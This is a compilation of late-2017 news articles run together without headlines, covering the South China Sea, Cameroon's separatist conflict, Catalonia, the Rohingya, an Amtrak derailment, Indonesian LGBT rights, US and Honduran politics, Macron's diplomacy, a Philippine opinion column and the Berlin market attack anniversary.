Images taken by DigitalGlobe satellites in September show new facilities including a possible dry dock on West London Reef in the Spratly Island chain, around 680 kilometers southeast of Ho Chi Minh City, that could allow boats to stop for maintenance and patrol for longer periods.

While the work is vastly outweighed by what China is doing it suggests Hanoi wants to hold its ground over the contested waterway, even if it risks upsetting Beijing. In August, President Rodrigo Duterte ordered a construction halt on a 500-square meter sand bar in the area after a protest from China.

Maintaining and even consolidating a military and non-military presence has been consistently one of the key approaches for Vietnams strategy for the South China Sea, said Alexander Vuving, a political analyst at the Asia-Pacific Center for Security Studies in Hawaii.

Vietnam has reclaimed about 120 acres across 10 islets since 2014, according to the Washington DC-based Asia Maritime Transparency Initiative, extending runways and adding radar and patrol capabilities. By comparison, China has reclaimed more than 3,200 acres on seven features in the Spratlys, building ports, lighthouses and runways it says are mostly for civilian purposes or defense.

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Chinas claims to more than 80 percent of the South China Sea, which carries around $3.4 trillion worth of global trade a year, overlap with the Philippines, Brunei, Malaysia, Taiwan, and Vietnam. In the past year, Hanoi has become the most vocal defender against Chinas assertions.

Its latest upgrade to West London Reef comes after China reportedly pressured Vietnam to halt drilling in a contested area leased to Spains Repsol SA., said Bill Hayton, an associate fellow at Chatham House.

Vietnams response to the Repsol incident has been a modest expansion on its islands, said Hayton, who wrote The South China Sea: The Struggle for Power in Asia. Many of the decisions to expand the island facilities would have been taken before the drilling episode, but that is certainly giving some impetus.

Another potential source of friction between Hanoi and Beijing is renewed talks over a Code of Conduct for the South China Sea between China and the 10-member Association of Southeast Asian Nations.

Despite endorsing a one-page framework in August, which calls on parties to commit to the principles of the United Nations Convention on the Law of the Sea, China wants the code to be voluntary, whereas Vietnam wants it to be legally binding.

Vietnam would sign a legally binding Asean-China code of conduct if it brings it and other countries benefit, according to Rear Admiral Le Ke Lam, a former Vietnam Naval Academy director. But China would never sign it.

Vietnams Foreign Ministry did not respond to emailed questions about the land reclamation or whether the Code of Conduct should be legally binding. Le said Vietnams South China Sea infrastructure program was confined to minor reclamation on existing islands.

Vietnam suffered a setback last year after the new Philippine president chose not to pursue further an international court ruling that dismissed Beijings South China Sea claims. The case, brought by Dutertes predecessor President Benigno Aquino III, was supported by Vietnam.

In the absence of support from the Philippines, Vietnam has sought to improve ties with Indonesia, which has shown signs of pushing back against Chinese encroachment near the Natuna Islands that Beijing claims are part of its traditional fishing grounds.

In June 2016, President Joko Widodo held a Cabinet meeting on a warship near the islands, and Indonesia later renamed the northern reaches of its exclusive economic zone in the South China Sea as the North Natuna Sea. Bloomberg

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Several villages are said to have been set ablaze in Cameroon's English speaking southwestern town of Mamfe after armed separatists attacked military installations and killed four soldiers. The Cameroon government says it has seized three of the armed separatists' training camps.

Cameroon communication minister and government spokesperson Issa Tchiroma says for the past two weeks, military and armed separatist groups have been involved in bloody conflicts in the English speaking southwestern town of Mamfe on the border with Nigeria.

"Several suspects have been arrested, large quantities of war and hunting weapons as well as hundreds of military ammunition and uniforms have also been seized," Tchiroma said. "One of those attacks has unfortunately claimed the lives of four of our gendarmes who were cold bloodedly killed this Monday December 18 in Kembong, Eyumojock sub division in Manyu division."

Thchiroma refused to give the number of armed separatists killed by security forces in ensuing clashes, but disclosed that at least three border villages that hosted training camps for the fighters had been liberated.

Villagers say there has been an unprecedented harsh crackdown by the military, which also used helicopters to fire on civilians.

Kembong resident Victor Arrey Ndip says his village and two others have been completely destroyed by the fighting and many people are dying.

"They have bumped three villages so every body should be very careful with what is happening on the ground now," Ndip said. "As I am telling you, people are dying in their numbers in Mamfe."

Mamfe is a town in Manyu, an administrative area on Cameroon's border with Nigeria where Cameroon says some of the fighters are trained. It has a vast expanse of forests, which the government says favors guerilla warfare with hit and run tactics from armed separatists.

The violence has pushed thousands of Cameroonians across the border to Nigeria since early October, when the separatists said they had declared their independence.

Schools have been closed in most of the English speaking northwest and southwest regions since November last year, when lawyers and teachers protested the overuse of French in the bilingual country. Violence erupted when separatists joined and called for complete independence.

President Paul Biya has made it clear that he will not negotiate on separation, saying the country is indivisible.

When the separatists started attacking military positions, he declared war on them, describing the separatists as terrorists.
Catalonia will hold regional elections Thursday, two months after separatist campaigners tried to declare independence from Madrid following a disputed referendum.

The central government seized control of the wealthy autonomous northern region after its parliament in Barcelona voted for independence on October 27, more than three weeks after 90 percent of Catalan residents voted in favor of secession in a referendum.

However, less than half the electorate took part in the vote.

Dozens of secessionist politicians were arrested in the aftermath, and the head of the regional government, Carles Puigdemont, fled to Belgium to escape arrest on charges of rebellion and sedition. Puigdemont is leading his party's campaign in Thursday's voting.

Eight members of the dissolved regional government and two prominent activists remain in jail.

Thursdays election is unlikely to offer a definitive answer, with polls indicating votes will likely be divided across several different parties, each with differing positions on independence.
Myanmar and Bangladesh have formed a joint working group to oversee the repatriation of Rohingya refugees, but their return is likely to be delayed.

The two countries agreed to set up a 30-member working group during a four-hour meeting Tuesday in Dhaka, Bangladesh's capital.

More than 630,000 Rohingya have fled to Bangladesh since Myanmar's military launched a crackdown on them in August.

Their repatriation was due to start around Jan. 21 under an agreement reached last month between the two countries, but a Bangladesh foreign ministry official who attended Tuesday's meeting said it would be delayed by a couple of weeks or so.

Human rights groups warn that the Rohingya may face continued violence if they are sent back.
Engineers are using cranes to lift the locomotive and cars of an Amtrak passenger train that derailed over a busy highway near Seattle, Washington, killing three and injuring 100.

The cranes will lower the damaged cars on the back of trucks and take them to what police call a safe and secure facility for the investigation.

Some of the cars fell from the tracks and onto vehicles traveling Interstate 5  a major West Coast highway running from the Canadian to the Mexican border. Another train car was left dangling from the bridge over the highway.

Federal investigators have recovered one of two data recorders and are questioning the crew regarding the accident, which occurred during the Monday morning rush hour.

They already know the train was traveling at 129 kilometers per hour on a stretch of track with a speed limit of 48 kilometers per hour.

However, investigators do not know why the train was traveling so fast. One federal official says the engineer may have been distracted by an employee-in-training in the locomotive.

Washington state transportation officials say a safety system that slows or stops a speeding train had been installed on this stretch of track but was not yet ready to use.

This was the initial passenger run for the Cascades 501, which provides service between Seattle and Portland, Oregon.

The line primarily served slow-moving freight trains before the track was upgraded for higher-speed passenger service that cut about 15 minutes off a one-way trip.

Opposition to new line

Mayor Don Anderson of Lakewood, Washington  a city near the crash site  said the city fought against the new Amtrak line. He said it was a costly project that provided little transportation benefit, while creating a risk to pedestrians and vehicle traffic by mixing roads and train crossings.

"We politically and legally took whatever action we could to either stop it or provide for additional safety modifications," Anderson said.

The mayor called Monday's accident "a tragedy for all concerned."

President Donald Trump sent his condolences to the victims of the train crash and said, "It is all the more reason why we must start immediately fixing the infrastructure of the United States."

Congress ordered the nation's railroads implement speed controls after a series of accidents. The legislation calls for the safety upgrades to be completed by the end of 2018, after the railroads won a three-year delay from the original 2015 deadline.

In May 2015, an Amtrak train derailed in Philadelphia as it went into a curve at more than double the posted speed limit. Eight people died in that accident, which investigators blamed on the engineer being distracted by radio conversations between trains and dispatchers about trains being hit by rocks.
Activists in Indonesia are warily celebrating the Constitutional Court's narrow rejection last week of a conservative group's petition to ban gay and extramarital sex.

The surprising 5-4 verdict in the worlds largest Muslim-majority nation came during a long anti-LGBT crackdown that began in January 2016. The ruling, while welcomed by the LGBT community, does not end their battle for acceptance. The Constitutional Courts decision focused more on the fact that it was the wrong venue to consider such a ban than on the human rights implications.

I am relieved and feel so happy, said Lini Zurlia, a gay rights activist in Jakarta after the Constitutional Courts decision. But Im still worried about the next process at the legislative level, she said. Parliament is expected to consider the ban.

The same day the Constitutional Court ruled, a North Jakarta court sentenced eight gay men to more than two years in prison for taking part in a gay sex party at a sauna, which was recently shut down on the grounds it was the site of sex work. Analysts say the sentences are further evidence of how criminalization continues to affect Indonesias LGBT population.

Nebulous pornography law

The major legislation criminalizing LGBT people in Indonesia is not a sodomy law or ban on gay sex, but a vague pornography law that has been used to charge everyone from sexters to sex workers to sauna attendees. Just this year, more than 200 LGBT people were arrested under the pornography law. Due to this unchallenged law, the narrow court victory, and the ongoing crackdown, many LGBT Indonesians are on edge once more after the celebratory moment last Thursday.

The eight people charged were among 141 gay men detained at a raid last May on the Atlantis Gym and Sauna, a move that drew criticism from the international human rights community. The men were stripped and faced police questioning while naked. Most were released the next day.

Those charged included a director, strippers, a gym trainer, a receptionist and a security guard, according to the Associated Press. Activists have called the pornography law used to prosecute them a serious incursion into civil liberties.

The law prohibits sex parties and defines deviant sexual acts to include: sex with corpses, sex with animals, oral sex, anal sex, lesbian sex, and male homosexual sex, according to Human Rights Watch. It sometimes intersects with the Electronic Information and Transactions Law, which prohibits exchanging indecent material on digital platforms, effectively criminalizing actions like sharing nude photos.

The extremely broad sweep of the laws means they have ensnared Indonesians ranging from the sauna patrons to the prominent hardline Islamist cleric Habib Rizieq Shihab. Authorities put out an arrest warrant for him for allegedly exchanging explicit WhatsApp messages with a woman.

According to a 2013 Pew report, 93 percent of Indonesians believed homosexuality was not acceptable.

Last year, there was an acute gay panic in which, among other things, a transgender boarding school was shut down, a former minister called on the public to kill gay people, and the vice president personally attacked a United Nations program focused on LGBT rights.

President Joko Jokowi Widodo defended LGBT rights with a statement in October 2016, although he qualified it by saying, In Indonesia Islam does not allow [homosexuality]. He has been mostly silent on the issue since then.

Yes, certainly stigma and discrimination against LGBT continues to exist, said Christian Supriyadinata of Gaya Dewata, a gay and transgender rights group in Bali. As long as policy holders and leaders continue to think in terms of norms and morality, the LGBT community will continue to face discrimination. Whereas LGBT has nothing to do with morality. Crimes can be committed by anyone.

Homosexuality is legal in Indonesia except in the semi-autonomous Aceh province, which observes Sharia, or Islamic law. Two young men were caned in Aceh after a group of vigilantes broke into their home and caught them having sex.
Hawaii Attorney General Douglas Chin, who has been fighting President Donald Trump's travel ban and other policies over the past year, has announced he will run for U.S. Congress.



Chin, a Democrat, seeks to replace Hawaii U.S. Rep. Colleen Hanabusa, who is running for governor. Hanabusa is also a Democrat.



Chin made the announcement Monday saying that the last year of legal battles over White House actions sparked him to run for the U.S. House seat.



Chin has been a vocal opponent to decisions by Trump's administration.



Before Trump was sworn in, Chin and five other attorneys general asked the Senate Judiciary Committee to reject the nomination of Sen. Jeff Sessions for attorney general.



Chin told The Associated Press in a telephone interview Sunday that he first considered running for office while listening to a Sessions speech.



"He actually made some speech to all 50 state AGs where he announced falsely that crime was at an all-time high in the United States and that the reason why it was at an all-time high was due to illegal immigrants being in the country," Chin said. "I found that statement to be so troubling that it really woke me up in terms of the actions I think all of us need to take responsibility for in order to make a difference."



A week after taking office, Trump issued an executive order aimed at temporarily banning travel from seven Muslim-majority countries.



On Feb. 3, the state of Hawaii sued to stop the ban.



Trump's executive order keeps Hawaii families apart and keeps residents from traveling, Chin said.



"I think we live in very extraordinary times, I think Hawaii's progressive values that it fought for the past decades has been under attack in a lot of different ways, and I've experienced it first hand, starting with the travel ban and then extending to attacks on transgender people in the military or the children of immigrants," Chin said.



Chin has sued over every version of the travel ban, calling the measure discriminatory toward Muslims.



"I've ended up being in court over and over again to stop some of the different actions that have been taken by the Trump administration," he said.



Hawaii argued that the ban discriminates on the basis of nationality and would prevent Hawaii residents from receiving visits from relatives in the mostly Muslim countries covered by the ban.



Chin said the state's strategic military importance would also be a major issue for him in Congress.



"Words and tweets that have come from this administration have been exceptionally troublesome and has raised a lot of fear here in Hawaii," Chin said of the tensions between North Korea and Washington. "I think that's all the more reason to advocate for a strong military presence but also strong diplomatic relationships with all foreign countries."



Chin is the son of Chinese immigrants who came to the U.S. in the 1950s. His father was an interpreter for the U.S. during the Korean War, he said. Chin is married with two children.



He was appointed Hawaii's attorney general in 2015.



Several Democratic lawmakers have also announced they would run for the seat, including state Sen. Donna Mercado Kim and Rep. Kaniela Ing.



Ing told the AP on Monday that he is concerned about corporate funding of other candidates, including Chin, and said that his campaign is the only one in the state not accepting any corporate money.



"The biggest problem in Hawaii isn't homelessness or housing, I know those are big problems, but the biggest problem is there is too much power in too few hands," Ing said.



Ing is also an opponent of Chin's views on the military in Hawaii, saying that the military presence in the islands not only makes the state a target from threats like North Korea, but also hurts housing affordability for locals.



Sen. Kim, who represents Kalihi and Moanalua, touted her 35 years of experience in state and city government.



"Someone with the tenacity to be able to make sure Hawaii's agenda is first and foremost," said Kim, a former state Senate president.



Her priorities in Congress would be health care, caring for the elderly, making higher education affordable, veterans' care and women's issues including access to contraception, she said.
The president of Honduras declared himself re-elected on Tuesday despite calls from the Organization of American States (OAS) for a fresh vote over allegations of fraud and deadly protests following last months disputed election.

In Washington, his rival asked the United States and others to reject the result and cut off aid, warning that protests in which more than 20 people have died could escalate into generalized violence unless there is a new election.

The opposition alliance said it would file a legal challenge to the countrys electoral tribunals verdict that President Juan Orlando Hernandez won the Nov. 26 election.

Hernandez spoke for the first time since the tribunal issued that verdict on Sunday. A partial recount did not tip the result in favor of his opponent, TV host Salvador Nasralla, the tribunal said.

Hernandez, who is an ally of the United States, said in a televised address that he would bring peace, harmony and prosperity to the poor Central American nation.

As a citizen and president-elect of all Hondurans, I humbly accept the will of the Honduran people, said Hernandez, a conservative who has led a military crackdown on the countrys violent gangs.

Nasralla, who leads a center-left coalition, called for a new vote monitored by international observers, saying Hernandez was holding onto power illegally.

Honduras runs the risk of falling into an undesired and fratricidal civil war, with unforeseen consequences in the Central American region, he told reporters.

At least 24 people, including two police officers, have died in simmering protests around the country since the opposition declared fraud, according to the Honduran human rights group COFADEH, which tracks kidnappings and murders by the state.

However, for the most part the protests have been relatively small.

Opposition leaders have accused government security forces of firing into barricades and peaceful protests. A military official said troops are firing only into the air and only if they are in imminent danger, such as coming under fire.

Opposition leaders deny protesters are armed with guns.

The political unrest has hit a country that struggles with violent drug gangs, one of world's highest murder rates  although murders have dropped under Hernandezs crackdown  and endemic poverty. Together, these drive a tide of Hondurans to migrate to the United States.

Cut off aid

Nasralla traveled on Monday to Washington to meet with OAS Secretary General Luis Almagro and a senior State Department official.

Following his visit, the U.S. State Department urged Honduran political parties to raise any concerns about the official results through a formal legal challenge this week  the step that Nasrallas opposition alliance said later in the day that it would take.

However, Nasralla earlier rejected the value of a legal challenge, saying the courts are controlled by Hernandez.

Instead, he said the United States, Latin American countries and other foreign powers should push for fresh elections, not recognize the current results and cut off aid to Honduras.

In the midst of the post-election chaos, the U.S. State Department certified late last month that the Honduran government has been fighting corruption and supporting human rights, clearing the way for Honduras to receive millions of dollars in U.S. aid.

As results rolled in on Nov. 26, Nasralla initially seemed headed for an upset win. But results abruptly stopped being issued. When they restarted, the outcome began to favor Hernandez, arousing suspicion among Nasralla supporters.

Shortly after the electoral tribunal backed Hernandezs victory on Sunday, the OAS said the election did not meet democratic standards and called for a re-run.

On Monday, one of Hernandezs top officials rejected the call for another vote.

Hernandez, 49, has been supported by U.S. President Donald Trump's chief of staff, John Kelly, since Kelly was a top general.
Artist Carlos Carmonamedina is curious about his surroundings. Since growing up in Mexico, traveling around to Europe for school, hes always seen the cultures in a citys periphery. When he moved to Washington D.C. two years ago, he was inspired to create a work that represents the citys visual identity.

This project was for me a perfect excuse to get to know the city better and get out there and discover whats going on around me, Carmonamedina said. He has created almost 100 postcards in his DC series.

What was originally intended as a personal challenge, has gained popularity online and in the DC community. Carmonamedina sees it as documenting how people live in Washington D.C. at this current point in history.

Its just an extension of my personal curiosity and how I approach the world I live in, Carmonamedina said. So right now if Im interested about how the city behaves and how the city changes, its natural that my art is gonna reflect that as well.

Carmonamedina brings a perspective to the city that is different from its political reputation. His postcards include images of everyday human behavior: white collar workers taking their lunch at the fountain in DuPont Circle, a man and his child watching planes take off from Reagan Airport from Gravely Park, local musicians and artists celebrating their work at the DC Funk Paradeall parts of the city that are lost amid the headlines of Washington insiders, backdoor deals in Congress and the influence of K Street.

His ideas come from what he sees on a daily basis. He bikes around the city, looking for an area that he hasnt been to before, and then sketches what he seesthe architecture, people and natural environment.

His most popular postcard, however, is from the Womens March last January.

I try to avoid any political involvement in my art, just because I want people in different audiences to feel comfortable with what they are looking at, Carmonamedina. But also, at the same time, I cannot avoid to escape the fact that we live in a very political city and protests and situations that they affect the rest of the country are happening right here.

Christmas market

For two years now, Carmonamedina has also sold his postcards and prints at the Heinrich Christmas Market in downtown Washington. Its one of the few times where he gets to interact with multiple fans of his work, rather than just one at a time. DC locals come by often looking for a postcard of their home neighborhood, or they request that he visit their neighborhood or favorite part of the city to draw next.

I wanted to reach a larger audience, Carmonamedina said. Before I was working mostly in gallery circuits where very few people will attend. And this project allows to me interact with a different broader group of people.

Carmonamedina grew up in Mexico, but left for Romania when he was 24 to pursue a career as an artist. He lived in the UK, Slovakia and France before moving to Washington D.C.

Ive been very much into the gallery circuit, trying to get exhibitions here and there, organizing residencies, Carmonamedina said. But I have always been interested in comics and illustration and I wanted to do something a little bit more down to earth which I could also reach, again, a larger audience.

This project is different from his pervious endeavors, but his art has always had similar elements. How I approach things like humor, death, peripheries, and how people who live outside of the typical economic cultures  behave, Carmonamedina said. So its always about empathy and having a little bit of, putting yourself in other peoples shoes.

As his project gains popularity, Carmonamedina is looking for new sources of inspiration that represent the city not only through his eyes, but through the eyes of the community.



I feel like, so far has been very much my perspective as a newcomer, but I want to get to know people who have been here for a longer period. Carmonamedina said. Im sure that they are going to give me a different insight of how the things are here.
Japan will purchase a U.S.-built, land-based missile defense system in response to what it considers the rapidly growing threat from North Korea.

Prime Minister Shinzo Abe's cabinet approved a plan Tuesday to buy two Aegis Ashore missile interceptor systems at a cost of nearly $2 billion. The new Aegis Ashore system, which duplicates the sea-based version deployed on Japanese warships, likely will not be fully operational until 2023.

Japanese defense officials also considered purchasing the Terminal High Altitude Area Defense (THAAD) system, another U.S.-built anti-missile system, but chose the Aegis Ashore due to its cost-effectiveness.

A statement issued by the cabinet shortly after approving the plan said it was urgent for Japan to upgrade its ballistic missile defense capabilities in light of the "imminent" threat posed by Pyongyang's nuclear and ballistic missile programs. North Korea test fired a new intercontinental ballistic missile late last month that could potentially reach the eastern United States.

Tokyo is also planning to purchase U.S.-built long-range cruise missiles, a decision that would prove controversial since Japan's post-World War Two pacifist constitution renounces war.
There appears to be no stopping France's Emmanuel Macron. A newcomer to foreign policy, the French president has developed a huge appetite for the international limelight.



In a bid to boost his country's global clout and promote French leadership, Macron has been positioning himself as Europe's chief spokesman on the great international issues of the day.

With German Chancellor Angela Merkel immersed in trying to form a new government, and British Prime Minister Theresa May deep in Brexit negotiations both with the European Union and her divided Cabinet members, Macron has had the field to himself.



From the Middle East to North Africa and climate change to Russian meddling, the 39-year-old, France's youngest head of state since Napoleon, has been presenting himself as the fresh face of Western diplomacy, often contrasting his engagement with the unilateralism of U.S. President Donald Trump.

The past month, the French leader, who turns 40 on December 21, went on a three-day trip to West Africa, visited Algeria and the Persian Gulf, and held talks with Israeli Prime Minister Benjamin Netanyahu in Paris, where he criticized Trump's decision to formally recognize Jerusalem as Israel's capital.

On Dec. 12, he hosted a major climate change summit marking the second anniversary of the Paris deal aimed at reducing greenhouse gases. He then hosted in the French capital African leaders to discuss the fight against Islamic extremism.



Macron's activities on the world stage have prompted a surge in popularity in his home country, despite claims by foes that his efforts are mostly theatrical and have not borne fruit. Other European leaders have expressed irritation with Macron for pursuing largely uncoordinated diplomatic interventions.

Reconciling Libya

In July, Italian ministers openly criticized Macron for organizing a meeting in Paris of the leaders of two of war-torn Libya's rival factions to discuss a political power-sharing deal. They argued the French leader's efforts were distracting from a coordinated U.N. and European Union effort to engineer a political settlement in Libya among three rival governments and dozens of militias. Italy's foreign minister, Angelino Alfano, complained of "too many open formats in Libya, too many mediators, too many initiatives."



An opinion poll published Sunday suggests Macron has turned around a record slump for a new French president and secured an "unprecedented" bounce back, thanks to his overseas forays, according to French newspaper Le Journal du Dimanche. A survey conducted for the newspaper found 52 percent of respondents are now satisfied with Macron  up from 40 percent in August.



In order to make his mark on the world stage, the French leader has at times acted purposefully as a foil to Trump, contrasting his foreign policy vision based on multilateralism and committed to rules-based cooperation with the U.S. leader's America First agenda.

Climate refuge

After Trump pulled the United States out of the Paris climate change pact, Macron announced that France would become a "second homeland" to climate researchers and make good on the loss of American funding of climate research  all in order to "make our planet great again," a jab at Trump's "Make America Great Again" slogan.



Nonetheless, since his stunning election upset six months ago, Macron has been able to maintain warm relations with the U.S. leader, according to officials on both side of the Atlantic, who say he enjoys the best relations with Trump of any European leader.



"Macron has cleverly balanced charm and challenge when it comes to Trump," said a British diplomat.



"The two most talked about Western politicians of the last electoral cycle may be standing on opposite sides of the ideological spectrum, but they get along pretty well. While they disagree starkly on global action, on climate change and the Iran nuclear deal, the fight against terrorism brings them together," according to analyst Celia Belin.



Terrorism isn't the only thing that brings them together. They are both political outsiders  neither held elected office before their recent presidential wins. Trump, argues Belin, "perceives Emmanuel Macron as a maverick, capable of taking risks, and as an ambitious leader who wants to shake things up."



On climate change, Macron was careful last week to soften his criticism of Trump's disdain of the Paris climate change accord, saying, "I'm pretty sure that my friend President Trump will change his mind in the coming months or years, I do hope."



Next year, differences on Iran risk impacting the Macron-Trump relationship. The two are diametrically opposed when it comes to the Iran nuclear agreement (Joint Comprehensive Plan of Action, or JCPOA) and whether it should be preserved.

Macron plans to visit Tehran early in 2018, and that trip could bring their differences to a head  although, like Trump, he remains worried about Iran's ballistic missile program and its growing military clout in that region.



That aside, there was appreciation in the White House, said U.S. officials, for Macron's skillful mediation last month in Lebanon's political crisis and his role overseeing Lebanese leader Saad Hariri's exit from Saudi Arabia and return to Lebanon via Paris. This allowed Hariri a way out of an impasse that risked confrontation between Tehran and Riyadh.
I have been a journalist for almost seven decades now, and I can safely say I have seen history in the making.

Decades ago, we were second only to Japan insofar as economic growth and foreign direct investments were concerned.

Today we are a laggard among Southeast Asian countries. My gulay, even Cambodia, a military junta-controlled country, is ahead of us. What happened? Whose fault was it?

Some may say that other countries in the region attained their current status because of their authoritarian rule. So is it because of democracy that we have failed?

We can go on and on to seek the reason on why the Philippines is now at the bottom of the totem pole. President Duterte capitalized on this when he ran for president last year.

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More than 16 million Filipinos voted for him. They all wanted a change for the better, especially after the six-year rule of the Aquino administration whose legacy was incompetence, lack of empathy and vindictiveness.

It seems that Filipinos are so desperate for change they now want it even through radical means.

Even former Senate President Juan Ponce Enrile, the architect of martial law when the late strongman Ferdinand Marcos proclaimed it in 1972, now admits that the problems facing Duterte are far greater than the problems Marcos faced.

I am not a governance expert, but I know that radical change must come sooner than expected if the clamor for change should be realized. Only with genuine change can we catch up with our neighbors.

* * *

Some people in the Aquino administration must be held accountable for the P3.5-billion Dengvaxia mess.

I cannot buy the excuse being made that former President BS Aquino and then-Health Secretary Janette Garin acted in good faith in pursuing the immunization program for the benefit of the people.

Some questions must still be answered by Aquino and Garin, and even Budget Secretary Florencio Abad. I think they should answer for this mess.

Why did they not conduct due diligence before they negotiated that deal with Sanofi Pasteur? The drug had not yet been certified by the World Health Organization! And yet, Aquino is on record as meeting with Sanofi officials.

The deal was in fact rushed before the 2016 polls on the pretext that the Aquino administration had the greater good in mind. This makes me believe that it was done in aid not only of corruption but the 2016 elections, my gulay!

Since Abad supposedly released the P3.5 billion to buy Dengvaxia out of savings, was that even authorized?

* * *

Chief Justice Maria Lourdes Sereno is challenging the House committee on justice to elevate the impeachment case against her to the Senate if the House committee believes that there are indeed grounds of impeachment against her.

Obviously, Sereno and her lawyers now realize that indeed that grounds may be strong after the testimony of three incumbent justices and one incumbent justice. Associate Justice Francis Jardeleza accused her of committing treason.

Sereno used a confidential document to block Jardelezas nomination to the Supreme Court. Justices Noel Tijam and Arturo Brion also testified against her lack of respect for en banc decisions.

What these justices testified to already constitute impeachable offenses, in my opinion. The only thing remaining is for the House committee on justice to elevate the case to the plenary for voting. And then the case can be transmitted to the Senate for trial.

As to the question of whether she would be convicted  well, impeachment is a numbers game.

* * *

The restoration of Manilas Grand Old Dame, the Manila Metropolitan Theater, brings back a lot of memories.

I remember going there before World War II and the Japanese Occupation, to watch old Filipino and Hollywood movies. To me, going there was always a great experience.

Somehow after the Japanese Occupation, the Met was in utter disrepair and often referred to as in a state of gross squalor with homeless people taking up residence there.

Now with the National Commission on Culture and the Arts having bought it, its being restored.

* * *

I had scheduled a visit to Baguio with my family, but the doctor advised me against going because the temperature is falling in the low 11 or 10.5 degree Celsius.

I want to go to Baguio so much! I wanted to see again my student Bobby Ongpins magnum opus in Baguio!

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British Prime Minister Theresa May telephoned U.S. President Donald Trump Tuesday and discussed his recent decision to recognize Jerusalem as Israel's capital, which prompted the United Nations General Assembly to convene a rare emergency meeting at the request of Arab and Muslim states.



The phone call was first disclosed by a Downing Street spokesperson, who said the two leaders discussed their "different positions" on Jerusalem. The phone call occurred one day after May and leaders of 13 other U.N. Security Council member nations voted in favor of a resolution that calls on Trump's declaration to be withdrawn. The U.S. vetoed the resolution.



The 193-member U.N. General Assembly will vote on the resolution Thursday, according to Palestinian U.N. envoy Riyad Mansour. A vote such as this is non-binding but it does carry political weight.



May and Trump also discussed their "ongoing deep concerns" about the humanitarian crisis in Yemen, the spokesperson said. A senior U.N. official said on Monday that warring factions must allow more aid to get through to nearly 8.5 million people who are "a step away from famine" in Yemen.



"They agreed on the vital importance of reopening humanitarian and commercial access to prevent famine and alleviate the suffering of innocent Yemenis," the spokesperson said.



May updated Trump on "the recent good progress" of Brexit talks and "agreed on the importance of a swift post-Brexit bilateral trade deal," according to the spokesperson, while Trump outlined "the progress he had made on his economic agenda."
Republican Sen. John McCain on Monday expressed thanks for the overwhelming support as he battles brain cancer, saying he is feeling well and looks forward to being back on the job in January.



The 81-year senator returned home to Arizona after being treated for a viral infection at Walter Reed Medical Center in Maryland. He had missed votes last week and will miss a crucial vote on the GOP tax bill this week.



McCain tweeted on Monday: "Thanks to everyone for your support & words of encouragement! I'm feeling well & looking forward to returning to work after the holidays."



His wife, Cindy, tweeted earlier Monday: "Nothing beats the feeling of being home in Arizona for the Holidays!" with a photo of a Christmas tree.



A statement from his office late Sunday said he would undergo physical therapy and rehabilitation at the Mayo Clinic in Arizona. Now in his sixth Senate term, McCain underwent surgery in mid-July to remove a 2-inch (51-millimeter) blood clot in his brain and was diagnosed with glioblastoma.



McCain's daughter, Meghan, tweeted on Sunday: "My father is doing well and we are all looking forward to spending Christmas together in Arizona."



In its statement on Sunday, McCain's office provided an assessment from Dr. Mark Gilbert, chief of neuro-oncology at the National Institutes of Health's National Cancer Institute.



"Senator McCain has responded well to treatment he received at Walter Reed Medical Center for a viral infection and continues to improve," Gilbert said. "An evaluation of his underlying cancer shows he is responding positively to ongoing treatment."



McCain's closest friend in the Senate, Lindsey Graham, R-S.C., said he hadn't spoken to McCain but planned to do so over the holidays.



"The steroids and chemotherapy have been tough  be tough for anybody,'' Graham told reporters Monday night. But he said he's "encouraged that John's going to be back in January and be good to go."



President Donald Trump told reporters Sunday he had spoken to Cindy McCain.



"They've headed back, but I understand he'll come if we ever needed his vote, which hopefully we won't," Trump said after returning to the White House from Camp David. "But the word is that John will come back if we need his vote. And it's too bad. He's going through a very tough time, there's no question about it. But he will come back if we need his vote."



This week, the GOP will try to pass a sweeping $1.5 trillion tax package in the Senate with a razor-thin majority and all Democrats opposed to the legislation.



Republicans hold a slim 52-48 advantage in the Senate, and McCain and Sen. Thad Cochran, R-Miss., missed votes last week. The 80-year-old Cochran had a non-melanoma lesion removed from his nose earlier this week. He cast a vote Monday night on a nomination and is expected to vote on the tax bill.



Republicans secured the support of Maine Sen. Susan Collins on Monday, and they are poised to pass the bill by a narrow margin in the face of unified Democratic opposition. As a backstop, Vice President Mike Pence would be available to break a tie.



A vote is expected in the House and Senate on Tuesday. If approved, the measure would head to Trump for his signature on what will be his first major legislative accomplishment since taking office 11 months ago.



After his summer surgery, McCain rebounded quickly, returning to Washington and entering the Senate on July 25 to a standing ovation from his colleagues.



In a dramatic turn, he cast a deciding vote against the Republican health care bill  a move that drew the wrath of Trump and conservatives. McCain's vote scuttled the seven-year effort by the GOP to dismantle much of President Barack Obama's health care law.



But McCain's condition has appeared to worsen in recent weeks. He suffered a minor tear in his right Achilles tendon, forcing him to wear a walking brace. McCain eventually began using a wheelchair, with members of his staff pushing him where he needed to go.
Germany should learn from security shortcomings exposed by a deadly truck attack on a Berlin Christmas market a year ago and increase aid to survivors and families of victims, Chancellor Angela Merkel said on Tuesday.

Anis Amri, a failed Tunisian asylum seeker with Islamist links, hijacked a truck on Dec. 19, 2016, killed the driver and then plowed it into a crowded market place, killing 11 more people and injuring dozens of others.

Merkel spoke on the anniversary of the attack at the unveiling of a memorial on the Breitscheidplatz square where it took place. The ceremony came amid criticism from families of the victims and from survivors about the government's handling of the incident.

Today is a day for mourning but also a day for the determination of making things better that did not work (in the past), Merkel said.

Merkel, who met victims and relatives of those killed at the chancellery on Monday, said she would meet the group again in a few months to provide updates on lessons learned from Germanys worst Islamist militant attack.

Hundreds of people gathered with candles at the site after a church service at the Kaiser Wilhelm Memorial Church that was also attended by Berlin mayor Michael Mueller and former German President Joachim Gauck.

Market closed

The church bells tolled for 12 minutes, one minute for each of those killed, at 8:02 p.m., the precise time when the attack occurred.

The normally crowded Christmas market at the plaza remained closed all day on Tuesday.

The memorial shows the names of the victims carved on the steps of the Kaiser Wilhelm Memorial Church near the scene of the attack. A long crack filled with metal and gold alloy runs through the steps and the Christmas market.

Officials admit mistakes

President Frank-Walter Steinmeier said support for the victims of the attack came late and had not been sufficient.

Its bitter that the state could not protect your relatives, Steinmeier said addressing the families.

German Justice Minister Heiko Maas said the government had not been well enough prepared to avert such an attack.

We can only apologize for the victims and the surviving relatives, Maas wrote in an article published in Tagesspiegel paper on Tuesday.

Payments increased

The German government has agreed to increase compensation payments to victims families and survivors after complaints that the 10,000 euros ($11,820) compensation the German government had offered was insufficient, Kurt Beck, an advocate for victims and survivors said on Tuesday.

Dozens of protesters rallied near the Breitscheidplatz, carrying signs expressing solidarity with the victims but warning against turning the tragic event into a rallying cry against Islam, as some far right groups have sought to do.

